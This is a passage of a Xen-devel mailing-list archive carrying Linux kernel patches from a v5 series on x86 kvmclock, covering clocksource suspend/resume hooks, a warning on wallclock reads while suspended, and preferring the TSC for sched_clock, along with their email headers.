Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 23 ++++++++++++++++++++++-
 1 file changed, 22 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 61d4d943fe74..41aff709b90a 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -152,7 +152,17 @@ static void kvm_setup_secondary_clock(void)
 
 static void kvm_restore_sched_clock_state(void)
 {
-	kvm_register_clock("primary cpu clock, resume");
+	kvm_register_clock("primary cpu, sched_clock resume");
+}
+
+static void kvmclock_suspend(struct clocksource *cs)
+{
+	kvmclock_disable();
+}
+
+static void kvmclock_resume(struct clocksource *cs)
+{
+	kvm_register_clock("primary cpu, clocksource resume");
 }
 
 void kvmclock_cpu_action(enum kvm_guest_cpu_action action)
@@ -223,6 +233,8 @@ static struct clocksource kvm_clock = {
 	.flags		= CLOCK_SOURCE_IS_CONTINUOUS,
 	.id		= CSID_X86_KVM_CLK,
 	.enable		= kvm_cs_enable,
+	.suspend	= kvmclock_suspend,
+	.resume		= kvmclock_resume,
 };
 
 static void __init kvmclock_init_mem(void)
@@ -318,6 +330,15 @@ static __init void kvm_sched_clock_init(bool stable)
 				   kvm_save_sched_clock_state,
 				   kvm_restore_sched_clock_state);
 
+	/*
+	 * The BSP's clock is managed via dedicated sched_clock save/restore
+	 * hooks when kvmclock is used as sched_clock, as sched_clock needs to
+	 * be kept alive until the very end of suspend entry, and restored as
+	 * quickly as possible after resume.
+	 */
+	kvm_clock.suspend = NULL;
+	kvm_clock.resume = NULL;
+
 	pr_info("kvm-clock: using sched offset of %llu cycles",
 		kvm_sched_clock_offset);
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:25 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:25 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350663.1608208 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iT-0001Oo-2Y; Wed, 01 Jul 2026 19:35:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350663.1608208; Wed, 01 Jul 2026 19:35:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iS-0001LH-Ov; Wed, 01 Jul 2026 19:35:24 +0000
Received: by outflank-mailman (input) for mailman id 1350663;
 Wed, 01 Jul 2026 19:35:23 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3gGtFagYKCcU3plyunrzzrwp.nzx8py-op6pwwt343.8py02zupn4.z2r@flex--seanjc.bounces.google.com>)
 id 1wf0iR-0001E8-J3
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:23 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iR-004oMZ-00
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:23 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3gGtFagYKCcU3plyunrzzrwp.nzx8py-op6pwwt343.8py02zupn4.z2r@flex--seanjc.bounces.google.com>)
 id 6a456bbc-2eae-0a2a0a5409dd-0a2a450aa144-48
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:22 +0200
Received: from [209.85.216.73] (helo=mail-pj1-f73.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3gGtFagYKCcU3plyunrzzrwp.nzx8py-op6pwwt343.8py02zupn4.z2r@flex--seanjc.bounces.google.com>)
 id 6a456b81-e40e-0a2a450a0019-d155d849bce7-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:22 +0200
Received: by mail-pj1-f73.google.com with SMTP id
 98e67ed59e1d1-37d4f23eb37so1673025a91.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:22 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934401; x=1783539201; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=X+4LkvbZ4eCaIbae7uS/MPBNwexrDlCNdhdaInFV7cw=;
        b=rOlOoVJov403l+V5pxkWwqdOR9xnngUXzQkGAs4jNhh8wXSgYLpN0O8qcTZtSoCfCS
         jivxQqNThdTlY9aWQOtr8c0j0nssDUMw+qyoh1fgW2ef9pd8HCNId9d2fVOaSLEoyWqB
         Q2HtAHObtq+rWhsUz7CHwkZVTBsBAONk64nomuUv9/beBAU10k8kJbX8t30/AIQd3/bL
         OpuHdbZ5bZgtJOXXk1+d8AfAOe1DbIKnjqxRVJb+y+qM70YG6IruQrS3i0BJCaz8wTRD
         kUbPwrzS1FqouIh2ITkP+Ti1MQ+qpufbXHPMWiseaCZiq7HzrfwXLtk5O1pG3yA48Kii
         Bc6w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934401; x=1783539201;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=X+4LkvbZ4eCaIbae7uS/MPBNwexrDlCNdhdaInFV7cw=;
        b=Ypfk3Xhnq7NE57y/qlM5qzp9XmWI0iT62KR0jLlnE13R0djc5iQRfeITTjyhyOw2vI
         IwNoBkSQ2iMw3A8XVY3W547j76IY/IufxlHSLOU+bZWIzy5K2iuJAoXWQ9Q5tpGNLMVl
         lStDVl+y3mGF8unr/8UzVQREczGsiwSxpY0rYq15XXtHP/hwU+eqDcZwyJUtvnWHlcCO
         KZkv+2XDZz93hYOTRE9fCZBBnzODlwVlsfEjSHkbH6p9S1y4nFPavikwv8E8aJWNNezv
         yFyeHE6xemBXZ1LQFDBAWomlHeBNLWl1qcCL5KsOnqBX6bvbzE3d2ScFOWDVNv8zH/BO
         /eLg==
X-Forwarded-Encrypted: i=1; AHgh+RoXk1rMaDA2+Ozrc4csWxF0ivnBk1UgwUjk8nyLz5j/ijL1tDU49TvD7Hgaz7JLbdQnO/Gz82/pBcc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyMi4RvKYXBA2DIagG45VtZcbon+etpI9EfZGbcAe4W1UhR6Llv
	l9ujrZ90H+GIM6fR7nSy74cAi8izEQ80X2k+U8pefb9mbgYANjLNNCJEGm7YHS3R0775XQRYt5H
	vvRwElw==
X-Received: from pjbms9.prod.google.com ([2002:a17:90b:2349:b0:37f:9ce0:f1f5])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:2c87:b0:37f:ed7e:7e42
 with SMTP id 98e67ed59e1d1-380aa0e0512mr2733682a91.14.1782934400395; Wed, 01
 Jul 2026 12:33:20 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:05 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-45-seanjc@google.com>
Subject: [PATCH v5 44/51] x86/kvmclock: WARN if wall clock is read while
 kvmclock is suspended
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-4011c0/1782934402-CED3BDDE-30CC84DB/0/0
X-purgate-type: clean
X-purgate-size: 2069

WARN if kvmclock is still suspended when its wallclock is read, i.e. when
the kernel reads its persistent clock.  The wallclock subtly depends on
the BSP's kvmclock being enabled, and returns garbage if kvmclock is
disabled.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 41aff709b90a..2cc3dd2ba355 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -53,6 +53,8 @@ static struct pvclock_vsyscall_time_info *hvclock_mem;
 DEFINE_PER_CPU(struct pvclock_vsyscall_time_info *, hv_clock_per_cpu);
 EXPORT_PER_CPU_SYMBOL_GPL(hv_clock_per_cpu);
 
+static bool kvmclock_suspended;
+
 /*
  * The wallclock is the time of day when we booted. Since then, some time may
  * have elapsed since the hypervisor wrote the data. So we try to account for
@@ -60,6 +62,7 @@ EXPORT_PER_CPU_SYMBOL_GPL(hv_clock_per_cpu);
  */
 static void kvm_get_wallclock(struct timespec64 *now)
 {
+	WARN_ON_ONCE(kvmclock_suspended);
 	wrmsrq(msr_kvm_wall_clock, slow_virt_to_phys(&wall_clock));
 	preempt_disable();
 	pvclock_read_wallclock(&wall_clock, this_cpu_pvti(), now);
@@ -140,6 +143,7 @@ static void kvm_save_sched_clock_state(void)
 	 * to the old address prior to reconfiguring kvmclock would clobber
 	 * random memory.
 	 */
+	kvmclock_suspended = true;
 	kvmclock_disable();
 }
 
@@ -152,16 +156,19 @@ static void kvm_setup_secondary_clock(void)
 
 static void kvm_restore_sched_clock_state(void)
 {
+	kvmclock_suspended = false;
 	kvm_register_clock("primary cpu, sched_clock resume");
 }
 
 static void kvmclock_suspend(struct clocksource *cs)
 {
+	kvmclock_suspended = true;
 	kvmclock_disable();
 }
 
 static void kvmclock_resume(struct clocksource *cs)
 {
+	kvmclock_suspended = false;
 	kvm_register_clock("primary cpu, clocksource resume");
 }
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350668.1608221 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iX-0001zO-Cs; Wed, 01 Jul 2026 19:35:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350668.1608221; Wed, 01 Jul 2026 19:35:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iX-0001yo-7V; Wed, 01 Jul 2026 19:35:29 +0000
Received: by outflank-mailman (input) for mailman id 1350668;
 Wed, 01 Jul 2026 19:35:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3hGtFagYKCck7tp2yrv33v0t.r31Ct2-stAt00x787.Ct2463ytr8.36v@flex--seanjc.bounces.google.com>)
 id 1wf0iV-0001ta-RW
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iV-003oUT-8M
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:27 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3hGtFagYKCck7tp2yrv33v0t.r31Ct2-stAt00x787.Ct2463ytr8.36v@flex--seanjc.bounces.google.com>)
 id 6a456bf3-e002-0a2a0a5209dd-0a2a450484fc-26
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:27 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3hGtFagYKCck7tp2yrv33v0t.r31Ct2-stAt00x787.Ct2463ytr8.36v@flex--seanjc.bounces.google.com>)
 id 6a456b85-a01d-0a2a45040019-d155d84ad9d1-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:27 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-38096521198so1608365a91.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934405; x=1783539205; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=sbysuOQKV7W7YbruNHYRSyCV0jaRsBQX5EoVXm1Gq/A=;
        b=uvoPGw+ss6c1ymsKriG1EYMp26JD7cuS6otDiI2Fleq2T8ydNxb5qBJ9WKODRmfumm
         A7ZmTDZPNBiU8YwNGeUnmkM3CeC2lu4Gvvni2bq+I1g5w+XcSVBYTVqOa5/uiB254XsL
         INgeATlHz3eq9GCXyeEkvoCaOKH53tG17TwBw7+aFqnL4pYRgtSpRHuKUqL1IlLW8pcJ
         eEJwF/A1sji0FZA2P/sOLTyr1CJR5YrK5//n/oc2XL1Ppip66dIgBx6OzaaJgjoaBZiH
         OVGCZCf7LNdrtOCIT423YN1kO9tWw413OB6pXp9H0b089qT4vGJLeWUOkC5KeEaBqMp/
         TfmA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934405; x=1783539205;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=sbysuOQKV7W7YbruNHYRSyCV0jaRsBQX5EoVXm1Gq/A=;
        b=srfNoMnpYjpZdc9JlR7YFY7wFraMnMCvfVMNjjhpWROkR/nVFrPnl60ds2y/Nv/oo8
         lxCbxghdFrFLZbeo/0BxEEx68gnkrC3FxbiV8Y0B29eq4kvoyiueuPfBw5pLyRx53tGz
         QrG4KvNXyUUP7P4NEAF7pkwwp21ncG4bwQB23PtXoxgPTfJDyiHovzw2kl4iJQ3C47BS
         yhSXsRgPxLU5mBZRFmll5aoYKF6pCYGAR1ZDYTNNDLXgt4qm1lOg7Yu5sUF1hJosDQh7
         0c3iSvY/hqt4vknNYwcwGsX++g5D35H1jMxlcn+46+wxNxExAi4Dra8zGLp2Sl761Dht
         F/Bg==
X-Forwarded-Encrypted: i=1; AHgh+Rru35dzXfjlXANzbpnGdGQspC+q0oXdfXTXA8hgx0F/vpJ5iO7754q1er5IrHYuthOzQZyqE445Wg4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyZpz1C6gsi1K6jQQmXddcYCRsic5Om0Mc42+hOAwPAAW+gQNK8
	gybwbHYnIjxt6+KlMWjd/qyemUFz9uZfY0w/i4MgUkL6xLA7D/qVnn6Cut9bB41nd9Thot/XGM+
	kfO5IYw==
X-Received: from pjbbf15.prod.google.com ([2002:a17:90b:b0f:b0:37d:e898:7cd8])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:2886:b0:36a:f612:e6a3
 with SMTP id 98e67ed59e1d1-380aa18d2b1mr3062418a91.17.1782934404832; Wed, 01
 Jul 2026 12:33:24 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:09 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-49-seanjc@google.com>
Subject: [PATCH v5 48/51] x86/kvmclock: Use TSC for sched_clock if it's
 constant and non-stop
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ebf023/1782934407-AFB231CC-E5E0692C/0/0
X-purgate-type: clean
X-purgate-size: 2195

Prefer the TSC over kvmclock for sched_clock if the TSC is constant and
nonstop.  I.e. use the same criteria as tweaking the clocksource rating so
that TSC is preferred over kvmclock.  Per the below comment from
native_sched_clock(), sched_clock is more tolerant of slop than
clocksource; using TSC for clocksource but not sched_clock makes little to
no sense, especially now that KVM CoCo guests with a trusted TSC use TSC,
not kvmclock.

        /*
         * Fall back to jiffies if there's no TSC available:
         * ( But note that we still use it if the TSC is marked
         *   unstable. We do this because unlike Time Of Day,
         *   the scheduler clock tolerates small errors and it's
         *   very important for it to be as fast as the platform
         *   can achieve it. )
         */

The only advantage of using kvmclock is that doing so allows for early
and common detection of PVCLOCK_GUEST_STOPPED, but that code has been
broken for over two years with nary a complaint, i.e. it can't be
_that_ valuable.  And as above, certain types of KVM guests are losing
the functionality regardless, i.e. acknowledging PVCLOCK_GUEST_STOPPED
needs to be decoupled from sched_clock() no matter what.

Link: https://lore.kernel.org/all/Z4hDK27OV7wK572A@google.com
Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/kvmclock.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
index 22e8855fcd4d..bc98ebb8587d 100644
--- a/arch/x86/kernel/kvmclock.c
+++ b/arch/x86/kernel/kvmclock.c
@@ -396,7 +396,6 @@ void __init kvmclock_init(bool prefer_tsc)
 			 PVCLOCK_TSC_STABLE_BIT;
 	}
 
-	kvm_sched_clock_init(stable);
 
 	if (!x86_init.hyper.get_tsc_khz)
 		x86_init.hyper.get_tsc_khz = kvmclock_get_tsc_khz;
@@ -416,6 +415,8 @@ void __init kvmclock_init(bool prefer_tsc)
 	 */
 	if (prefer_tsc)
 		kvm_clock.rating = 299;
+	else
+		kvm_sched_clock_init(stable);
 
 	clocksource_register_hz(&kvm_clock, NSEC_PER_SEC);
 	pv_info.name = "KVM";
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350669.1608230 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iY-0002Fd-Uw; Wed, 01 Jul 2026 19:35:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350669.1608230; Wed, 01 Jul 2026 19:35:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iY-0002DX-Jx; Wed, 01 Jul 2026 19:35:30 +0000
Received: by outflank-mailman (input) for mailman id 1350669;
 Wed, 01 Jul 2026 19:35:30 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3hmtFagYKCcs9vr40tx55x2v.t53Ev4-uvCv22z9A9.Ev46850vtA.58x@flex--seanjc.bounces.google.com>)
 id 1wf0iY-000268-1S
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iX-003oUT-EB
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:29 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3hmtFagYKCcs9vr40tx55x2v.t53Ev4-uvCv22z9A9.Ev46850vtA.58x@flex--seanjc.bounces.google.com>)
 id 6a456bf3-e002-0a2a0a5209dd-0a2a450484fc-28
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:29 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3hmtFagYKCcs9vr40tx55x2v.t53Ev4-uvCv22z9A9.Ev46850vtA.58x@flex--seanjc.bounces.google.com>)
 id 6a456b87-a01d-0a2a45040019-d155d84aec65-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:29 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-380a638fb5bso818894a91.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934407; x=1783539207; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=BBdglu7Hd/NWIo80QzRStfEHhLuTnQAY4zgBWN5WaBQ=;
        b=jc2ZPFfFL3VHNSXDjsIuCDmBbhn10cDWcvWpfI+pYjHvbJkfZE7gyuAzXDYT1MVC4B
         UjkmL9GD9ZW/rjozdXbOnLVYi3WKc8DHlWMDxVDhyyzQxjrasnsXleuUgGtT5bM8IXfv
         sAuWo3kEX6Izb++Ay7HMIvuf2wK4RvZPgGRbyvZutVd7cHSVSafYwUr5TKNrh/nMQmaV
         W5RvRUF1QHvUPx+e0kmX4H/jp0YsWNgb3PBQhDhQbd9PTYLsaXAZlfVykTliqhjqUJLW
         f7eXFMshdXDodLzDYVQ+VDhZN6rDDuUQbL8I/zj2ii6mnfq4b7g4o7+KXRrgvesXCMMn
         /Z2Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934407; x=1783539207;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=BBdglu7Hd/NWIo80QzRStfEHhLuTnQAY4zgBWN5WaBQ=;
        b=pQRQxRYHwLJuchGbIl34J3W+155xrW7loBMjNXC3tAgMkBHUdrezZ1kcbU12o9AR4T
         xaFIBXljC86gRzavp+NZQRyAi6hCQWcJBlBIk5+8vD02sla4pUCQPzrCUiHEc9//ogbJ
         3ijdwdAYEDdo/qf1ND3H+weHfaoheFBi/MT6ArTbWvg3BuuUK7EJHUjZyCN4EEzB8K+l
         DtEzFugctEkGyznmmE5bGopo0lJGlFRONK2MmFUiw46KHDqrqVl4bhkIMUjXHl3qa7hP
         Fsp7n2MFCf4qIk0mwCCw1sHOQ+J2Pd7tZmXFXLm6yjEK6sNrzKl1IhG0bj/fAmk3I0Rt
         eBTQ==
